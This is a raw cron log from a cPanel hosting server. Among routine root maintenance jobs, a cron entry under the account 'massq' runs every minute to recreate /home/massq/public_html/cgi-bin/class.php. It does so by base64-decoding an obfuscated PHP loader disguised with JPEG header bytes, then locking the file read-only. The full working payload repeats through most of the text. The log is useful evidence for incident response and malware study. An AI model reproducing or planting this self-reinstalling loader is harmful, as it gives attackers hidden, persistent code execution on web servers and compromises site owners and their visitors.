Sep  9 21:14:01 server CROND[26100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:15:01 server CROND[26504]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:15:01 server CROND[26506]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 21:15:01 server CROND[26507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:15:01 server CROND[26508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:15:01 server CROND[26510]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 21:15:01 server CROND[26509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:15:01 server CROND[26512]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:15:01 server CROND[26511]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 21:16:01 server CROND[27364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:16:01 server CROND[27365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:16:01 server CROND[27366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:17:01 server CROND[27762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:17:01 server CROND[27763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:17:01 server CROND[27764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:18:01 server CROND[28243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:18:01 server CROND[28244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:18:01 server CROND[28245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:19:01 server CROND[28675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:19:01 server CROND[28676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:19:01 server CROND[28677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:20:01 server CROND[29073]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 21:20:01 server CROND[29074]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:20:01 server CROND[29077]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 21:20:01 server CROND[29079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:20:01 server CROND[29080]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 21:20:01 server CROND[29081]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 21:20:01 server CROND[29085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:20:01 server CROND[29082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:20:01 server CROND[29084]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:21:01 server CROND[29909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:21:01 server CROND[29910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:21:01 server CROND[29911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:22:01 server CROND[30296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:22:01 server CROND[30297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:22:01 server CROND[30298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:23:01 server CROND[30687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:23:01 server CROND[30688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:23:01 server CROND[30689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:24:01 server CROND[31165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:24:01 server CROND[31166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:24:01 server CROND[31167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:25:01 server CROND[31545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:25:01 server CROND[31546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:25:01 server CROND[31554]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:25:01 server CROND[31556]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 21:25:01 server CROND[31555]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 21:25:01 server CROND[31557]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:25:01 server CROND[31558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:26:01 server CROND[32417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:26:01 server CROND[32418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
